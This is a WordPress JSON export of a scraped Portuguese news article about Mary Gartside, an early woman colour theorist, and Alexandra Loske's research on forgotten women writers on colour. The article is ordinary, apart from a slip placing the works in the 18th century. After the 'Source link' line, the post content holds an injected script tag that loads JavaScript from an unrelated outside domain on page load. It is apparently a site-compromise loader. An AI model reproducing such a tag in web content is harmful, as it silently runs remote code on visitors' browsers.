{"id":1530,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/a-mulher-que-desafiou-a-teoria-de-isaac-newton-sobre-as-cores\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"a-mulher-que-desafiou-a-teoria-de-isaac-newton-sobre-as-cores","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/a-mulher-que-desafiou-a-teoria-de-isaac-newton-sobre-as-cores\/","title":{"rendered":"A mulher que desafiou a teoria de Isaac Newton sobre as cores"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">Cinco anos antes da &#8216;Teoria das Cores&#8217; de Goethe, a artista inglesa Mary Gartside publicou sua pr\u00f3pria releitura das ideias de Newton &#8211; mas desapareceu da hist\u00f3ria.<\/p>\n<p>Em 1805, uma artista inglesa pouco conhecida e professora de pintura amadora fez o que nenhuma mulher at\u00e9 ent\u00e3o havia feito: publicar um livro sobre o tema da teoria das cores.<\/p>\n<p>Embora poucos detalhes da vida e da carreira de Mary Gartside tenham sobrevivido, sua obra sem precedentes <em>An Essay on Light and Shade, on Colours, and on Composition in General<\/em> (&#8220;Ensaio sobre luz e sombra, sobre cores e sobre composi\u00e7\u00e3o em geral&#8221;, em tradu\u00e7\u00e3o livre) revela evid\u00eancias de uma genialidade criativa extraordin\u00e1ria.<\/p>\n<p>Modestamente apresentado pela autora como nada al\u00e9m de um guia para &#8220;as mulheres que me chamaram para ensinar pintura&#8221;, o estudo de Gartside \u00e9 acompanhado por uma s\u00e9rie de imagens surpreendentemente abstratas, diferentes de quaisquer outras produzidas anteriormente por um escritor ou artista de qualquer g\u00eanero.<\/p>\n<p>\u00c0 primeira vista, voc\u00ea poderia confundir facilmente as oito &#8220;manchas&#8221; de aquarela de Gartside com paisagens florais ampliadas que antecipam os estames e pistilos descomunais que a artista americana Georgia O&#8217;Keeffe come\u00e7aria a explorar desmesuradamente mais de 100 anos depois.<\/p>\n<p>Mas basta olhar novamente para estas ondas luminosas de quase p\u00e9talas, cuja vibra\u00e7\u00e3o de cor n\u00e3o est\u00e1 presa a uma forma tang\u00edvel, e qualquer certeza que voc\u00ea possa ter sobre o que estas imagens retratam ou significam come\u00e7a a desmoronar.<\/p>\n<p>N\u00e3o s\u00e3o nem flores perfumadas colhidas do mundo real, nem flores imagin\u00e1rias cultivadas na mente, as manchas abstratas de Gartside extrapolaram as fronteiras de si mesmas um s\u00e9culo inteiro antes de a pintura abstrata se estabelecer nas telas mais conhecidas de Wassily Kandinsky, Kazimir Malevich e Piet Mondrian.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-800x820 limit-crop  figure\" style=\"max-width:800px\" data-format=\"vertical\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:800px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/7e\/2022\/06\/05\/carmesim-do-livro-de-mary-gartside-1654442210214_v2_80x80.jpg\" class=\"pinit-img\" alt=\"carmesim - CLIVE BOURSNELL - CLIVE BOURSNELL\" width=\"800\" height=\"820\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: %\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>&#8216;Carmesim&#8217;, do livro de Mary Gartside<\/p>\n<p> <span>Imagem: CLIVE BOURSNELL<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Mais uma met\u00e1fora para o resplendor das rosas do que rosas propriamente ditas, as manchas abstratas de Gartside tinham uma fun\u00e7\u00e3o te\u00f3rica paradoxalmente precisa que desmente sua beleza amorfa.<\/p>\n<p>Intitulados, por sua vez, &#8220;branco&#8221;, &#8220;amarelo&#8221;, &#8220;laranja&#8221;, &#8220;verde&#8221;, &#8220;escarlate&#8221;, &#8220;azul&#8221;, &#8220;violeta&#8221; e &#8220;carmesim&#8221;, estes experimentos evanescentes mostram cada &#8220;tonalidade em v\u00e1rios graus de satura\u00e7\u00e3o e mesclando-se de forma abstrata com outros&#8221;, explica a historiadora da arte Alexandra Loske em seu recente estudo <em>Colour: A Visual History<\/em> (&#8220;Cor: uma hist\u00f3ria visual&#8221;, em tradu\u00e7\u00e3o literal).<\/p>\n<p>O objetivo de Gartside era ilustrar as harmonias e tons contrastantes das cores prim\u00e1rias e secund\u00e1rias de uma maneira mais org\u00e2nica, e talvez menos cientificamente distante do que as rodas de cores esquematizadas de seus famosos antepassados do sexo masculino nesta \u00e1rea.<\/p>\n<p>Embora suas manchas possam ter, como T.S. Eliot escreve no poema<em> Burnt Norton<\/em>, de 1936, &#8220;o ar de flores que s\u00e3o olhadas&#8221;, na verdade elas buscavam, \u00e0 frente de seu tempo, se desfazer da pretens\u00e3o autoconsciente da forma estabelecida, e, em vez disso, isolar a energia luminosa que tonifica nossa percep\u00e7\u00e3o de todas as coisas: a cor.<\/p>\n<p>&#8220;As cores s\u00e3o os sorrisos da natureza&#8221;, escreveu o ensa\u00edsta rom\u00e2ntico Leigh Hunt em 1840. &#8220;Quando est\u00e3o extremamente sorridentes, e irrompem em outras belezas, s\u00e3o suas risadas; como nas flores.&#8221;<\/p>\n<p>O que fica claro a partir dos estudos pioneiros de Gartside \u00e9 que nenhum te\u00f3rico nunca tinha ouvido mais atentamente a risada das cores do que ela.<\/p>\n<p>&#8220;N\u00e3o h\u00e1 outro exemplo de representa\u00e7\u00e3o de sistemas de cores que seja t\u00e3o inventivo e radical quanto as manchas de cores de Gartside&#8221;, escreve Loske.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/5a\/2022\/06\/05\/loske-quer-garantir-que-gartside-receba-credito-como-pioneira-no-estudo-das-cores-1654442500753_v2_750x1.jpg\" class=\"pinit-img\" alt=\"loske - CHARLOTTE GANN - CHARLOTTE GANN\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Loske quer garantir que Gartside receba cr\u00e9dito como pioneira no estudo das cores<\/p>\n<p> <span>Imagem: CHARLOTTE GANN<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Loske se dedica a devolver \u00e0 hist\u00f3ria da arte as conquistas de escritoras e artistas mulheres esquecidas que, apesar de desencorajadas historicamente a assumir a paleta ou a caneta, conseguiram criar algumas das inven\u00e7\u00f5es est\u00e9ticas mais fascinantes da hist\u00f3ria cultural.<\/p>\n<p>&#8220;Se algu\u00e9m for capaz de encontrar outra pessoa antes, ficaria muito feliz em saber&#8221;, diz ela \u00e0 BBC Culture quando perguntada sobre o quanto est\u00e1 certa de que Gartside \u00e9 a primeira autora feminina de uma teoria da cor.<\/p>\n<p>&#8220;Ela \u00e9 a primeira, sem d\u00favida, no mundo ocidental.&#8221;<\/p>\n<h3>A primeira<\/h3>\n<p>Loske se deparou com Gartside por acaso quando era estudante de p\u00f3s-gradua\u00e7\u00e3o, depois de conseguir uma bolsa de pesquisa no Royal Pavilion em Brighton, no Reino Unido, onde agora atua como curadora.<\/p>\n<p>&#8220;Queriam que algu\u00e9m se debru\u00e7asse sobre a teoria das cores. Passei muitos anos felizes fazendo este doutorado, e tudo o que consegui encontrar foram nomes de homens. At\u00e9 que me deparei com esta \u00fanica mulher, que era Mary Gartside. Apenas uma, e foi isso que realmente me incentivou&#8221;, ela recorda.<\/p>\n<p>O pouco que sabemos sobre a vida e a carreira de Gartside pode ser resumido em uma frase ou duas.<\/p>\n<p>Nascida em 1755, talvez em Manchester, no Reino Unido, ela acabou ensinando mulheres a pintar aquarela em Londres, e conseguiu exibir sua pr\u00f3pria obra em pelo menos tr\u00eas ocasi\u00f5es entre 1781 e 1809, pelo menos uma vez na Royal Academy.<\/p>\n<p>No poema de Amy Clampitt, <em>Balms<\/em> (1980), que lembra um encontro casual com uma c\u00f3pia das aquarelas de Gartside e a &#8220;sucul\u00eancia pungente e aveludada&#8221; dos &#8220;tons puros&#8221; que encarnam, a poeta americana lamenta a escassez de detalhes biogr\u00e1ficos conhecidos sobre a criadora das pinturas, escrevendo versos que podem ser traduzidos como: &#8220;Mary Gartside \/ morreu, n\u00e3o consegui nem sequer \/ saber em que ano&#8221;.<\/p>\n<p>Durante o <a href=\"https:\/\/noticias.uol.com.br\/faq\/lockdown-como-funciona-o-que-e-significado-e-regras-em-sp-e-mais-cidades.htm\">lockdown<\/a> imposto pela pandemia de covid-19 no ano passado, Loske continuou pesquisando e finalmente conseguiu, com a ajuda de colegas, precisar o ano: 1819.<\/p>\n<p>&#8220;Foi particularmente bom descobrir isso&#8221;, diz Loske, &#8220;porque sempre pensei que ela havia morrido sem ter sido capaz de desfrutar de seu relativo sucesso&#8221;.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-1280x720 limit-crop  figure\" style=\"max-width:1280px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:1280px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/b9\/2022\/06\/05\/o-tratado-de-goethe-foi-publicado-cinco-anos-apos-as-teorias-de-gartside-1654442562443_v2_80x80.jpg\" class=\"pinit-img\" alt=\"tratado - BBC - BBC\" width=\"1280\" height=\"720\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: %\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O tratado de Goethe foi publicado cinco anos ap\u00f3s as teorias de Gartside<\/p>\n<p> <span>Imagem: BBC<\/span><\/figcaption><\/figure>\n<\/div>\n<h3>Desafio \u00e0 teoria de Newton sobre cores<\/h3>\n<p>O modesto ensaio de Gartside (que foi seguido tr\u00eas anos depois, em 1808, por uma edi\u00e7\u00e3o revisada, na qual ela bravamente o renomeou como <em>Um ensaio sobre uma nova teoria das cores e sobre a composi\u00e7\u00e3o em geral<\/em>) antecede em meia d\u00e9cada o c\u00e9lebre tratado de Johann Wolfgang von Goethe, <em>Teoria das Cores, <\/em>de 1810, no qual o renomado poeta e cr\u00edtico alem\u00e3o procurou corrigir o que ele acreditava serem erros b\u00e1sicos na compreens\u00e3o de Isaac Newton sobre nossa experi\u00eancia de cor no mundo.<\/p>\n<p>Assim como Goethe, que vinha desenvolvendo suas ideias h\u00e1 d\u00e9cadas, Gartside parecia discretamente determinada a recalibrar a conceito do espectro de cores que comp\u00f5em a luz branca, de Newton, que o matem\u00e1tico ingl\u00eas notoriamente descobriu quando era estudante durante um lockdown em decorr\u00eancia da epidemia de peste bub\u00f4nica em 1666.<\/p>\n<p>&#8220;Chamar de &#8216;teoria&#8217; \u00e9 muito inteligente. Ela coloca isso em um contexto mais s\u00e9rio, algo que vai al\u00e9m de ser um manual de pintura. \u00c9 mais interessante em termos de pegar ideias newtonianas e adapt\u00e1-las \u00e0 pintura.&#8221;<\/p>\n<p>&#8220;(A teoria) de Newton tinha a ver com cores imateriais, com dividir o arco-\u00edris e com luzes coloridas. Algu\u00e9m teve que adaptar todo este conhecimento fant\u00e1stico \u00e0 cor material, e ela faz isso lindamente&#8221;, afirma Loske.<\/p>\n<p>O espectro de cores que Newton descobriu com seus prismas cuidadosamente angulados parecia muito mais encenado do que natural \u2014 tons de um intelecto obsessivo sob condi\u00e7\u00f5es controladas artificialmente, em vez dos tons desgrenhados da realidade desordenada.<\/p>\n<p>A insist\u00eancia de Newton em curvar o arco-\u00edris para acomodar uma s\u00e9tima cor redundante, o \u00edndigo, para ficar ao lado do azul, meramente para garantir que houvesse tantas cores quantos planetas no c\u00e9u e notas na escala musical, \u00e9 muitas vezes apresentada como prova de que ele moldou o que seus olhos realmente viam para se adequar a um ideal aerado.<\/p>\n<p>O s\u00e9culo entre a publica\u00e7\u00e3o de <em>\u00d3ptica: ou um tratado das reflex\u00f5es, refra\u00e7\u00f5es, inflex\u00f5es e cores da <\/em><em>luz<\/em> \u2014 em que Newton apresenta formalmente suas ideias \u2014 e os volumes de Gartside e Goethe sobre a teoria das cores na primeira d\u00e9cada do s\u00e9culo 18, seria palco de uma enxurrada de publica\u00e7\u00f5es de escritores e artistas dispostos a conciliar os conceitos cl\u00ednicos de cor de Newton com os aspectos pr\u00e1ticos de misturar pigmentos em uma paleta.<\/p>\n<h3>Reinventando a roda da cor<\/h3>\n<p>No centro de cada um destes esfor\u00e7os \u2014 empreendidos por todos, do pintor franc\u00eas Claude Boutet, em 1708, ao entomologista brit\u00e2nico Moses Harris, em 1766, ao entomologista austr\u00edaco Ignaz Schifferm\u00fcller, em 1772 \u2014 estava uma releitura do, curiosamente incolor, disco de cores seminal, que Newton apresentou em sua <em>\u00d3ptica<\/em>.<\/p>\n<p>Para Goethe, foi a incapacidade de Newton de reconhecer o papel fundamental que a escurid\u00e3o desempenha na forma\u00e7\u00e3o das cores que vemos na experi\u00eancia cotidiana que motivou sua pr\u00f3pria reformula\u00e7\u00e3o da roda de cores.<\/p>\n<p>Em 1798, Goethe e o dramaturgo Friedrich Schiller colaboraram em um diagrama complexo que chamaram de &#8220;Rosa dos Temperamentos&#8221;, no qual as \u00f3rbitas conc\u00eantricas de uma d\u00fazia de cores e tra\u00e7os de car\u00e1ter correspondentes giram em torno de um abismo escuro que se abre no centro do diagrama.<\/p>\n<p>Por fim, esta roda elaborada daria lugar ao c\u00edrculo de cores mais famoso e simplificado de Goethe, que ele criou em 1809 e incluiu no ano seguinte em sua pr\u00f3pria &#8220;Teoria das Cores&#8221;.<\/p>\n<p>As rosas abstratas de Gartside, que mais parecem estilha\u00e7os luminosos suspensos no meio de uma explos\u00e3o do que esquemas cient\u00edficos antiquados, s\u00e3o muito menos editorializadas ou cuidadosamente legendadas do que os c\u00edrculos de Goethe.<\/p>\n<p>Ao apagar as etiquetas que seus precursores do sexo masculino inseriram em seus diagramas, Gartside permite que os choques e harmonias de cores se manifestem por si s\u00f3.<\/p>\n<p>Ao fazer isso, ela reivindica o diagrama crom\u00e1tico como um documento puramente est\u00e9tico \u2014 uma obra de arte.<\/p>\n<p>\u00c9 tentador, dada a proximidade das datas de publica\u00e7\u00e3o dos estudos de Goethe e Gartside, se perguntar se poderia ter havido alguma poliniza\u00e7\u00e3o cruzada de ideias \u2014 ou se, de fato, a obra de Gartside teve alguma influ\u00eancia nas ideias ou pr\u00e1ticas de artistas e te\u00f3ricos posteriores. Quem vai poder dizer?<\/p>\n<p>Mas \u00e9 uma pergunta que Loske tamb\u00e9m se faz \u2014 ela acredita que h\u00e1 ecos da &#8220;dimens\u00e3o abstrata das ilustra\u00e7\u00f5es de Gartside&#8221; nas de JMW Turner, que tem sido visto pelos historiadores como um precursor da arte abstrata.<\/p>\n<p>Os dois artistas contempor\u00e2neos sem d\u00favida compartilham um fasc\u00ednio pelo peso da cor sem gravidade separada da subst\u00e2ncia incidental.<\/p>\n<p>&#8220;\u00c9 prov\u00e1vel que Turner sabia sobre o trabalho dela por meio de sua associa\u00e7\u00e3o com v\u00e1rias sociedades de aquarela&#8221;, diz Loske, antes de admitir que &#8220;infelizmente, n\u00e3o h\u00e1 evid\u00eancias disso&#8221;.<\/p>\n<p>&#8220;N\u00e3o h\u00e1 evid\u00eancia disso&#8221; \u00e9 o beco sem sa\u00edda desanimador, embora familiar, a que chega qualquer cr\u00edtico que tente avaliar a contribui\u00e7\u00e3o de artistas e escritoras do sexo feminino cujas realiza\u00e7\u00f5es foram totalmente ignoradas, desprezadas de forma humilhante ou desonestamente n\u00e3o reconhecidas.<\/p>\n<p>Estas s\u00e3o as tr\u00eas vertentes lament\u00e1veis pelas quais a hist\u00f3ria cultural conspirou com frequ\u00eancia contra a genialidade das mulheres. \u00c9 uma designa\u00e7\u00e3o em que se encontra tamb\u00e9m o legado irresist\u00edvel da artista e pintora americana Emily Noyes Vanderpoel, cujas not\u00e1veis ideias e obras Loske tamb\u00e9m passou um tempo ressuscitando.<\/p>\n<p>Assim como Gartside, um s\u00e9culo antes, Vanderpoel, de Nova York, cercou-se de aquarelistas amadores e publicou um estudo de cor ilusoriamente despretensioso, cujas ilustra\u00e7\u00f5es internas, devidamente analisadas e reconhecidas, confundem a cronologia dos marcos da arte moderna.<\/p>\n<p>O que distingue a obra de Vanderpoel, <em>Color Problems: A Practical Manual for the Lay Student of Color,<\/em> publicada em 1902, s\u00e3o sequ\u00eancias de &#8220;an\u00e1lises de cores&#8221; nas quais, &#8220;Vanderpoel decomp\u00f5e uma imagem, um objeto ou um padr\u00e3o de design em seus componentes crom\u00e1ticos, e apresenta a cor principal resultante em uma grade quadriculada de 10 x 10, com a distribui\u00e7\u00e3o proporcional de cada cor para o total de 100 quadrados anotada abaixo&#8221;, escreveu Loske.<\/p>\n<p>O resultado \u00e9 uma s\u00e9rie de esquemas impressionantes \u2014 matrizes semelhantes a QR Codes de pura cor pixelizada que antecedem as abstra\u00e7\u00f5es geom\u00e9tricas de Piet Mondrian e seus descendentes minimalistas.<\/p>\n<p>Mensurar plenamente o significado de Vanderpoel ou Gartside para o desenrolar da hist\u00f3ria da arte exigir\u00e1 o tipo de aten\u00e7\u00e3o acad\u00eamica que \u00e9 dispensada \u00e0queles com um perfil de maior visibilidade \u2014 um dilema para o qual Loske est\u00e1 determinada a encontrar uma solu\u00e7\u00e3o.<\/p>\n<p>&#8220;Quero criar um c\u00e2none de mulheres que escreveram sobre cores&#8221;, diz ela sobre sua ambi\u00e7\u00e3o mais ampla.<\/p>\n<p>&#8220;Com as mulheres h\u00e1 toda uma s\u00e9rie de problemas: a log\u00edstica, como voc\u00ea obt\u00e9m educa\u00e7\u00e3o, como voc\u00ea obt\u00e9m acesso a recursos, quem permite que voc\u00ea escreva, quem permite que voc\u00ea publique.&#8221;<\/p>\n<p>A imagem que Loske est\u00e1 montando pacientemente, de cada figura feminina esquecida com um tra\u00e7o em sua tela, promete desafiar a imagem que temos na nossa cabe\u00e7a sobre as paletas de quem realmente influenciou as formas de arte. Mal posso esperar para v\u00ea-la.<\/p>\n<p>Leia a <a href=\"https:\/\/www.bbc.com\/culture\/article\/20220401-the-women-who-redefined-colour?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">\u00edntegra desta reportagem (em ingl\u00eas)<\/a> no site <a href=\"https:\/\/www.bbc.com\/culture?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">BBC Culture<\/a>.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/06\/05\/a-mulher-que-desafiou-a-teoria-de-isaac-newton-sobre-as-cores.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cinco anos antes da &#8216;Teoria das Cores&#8217; de Goethe, a artista inglesa Mary Gartside publicou sua pr\u00f3pria releitura das ideias de Newton &#8211; mas desapareceu da hist\u00f3ria. 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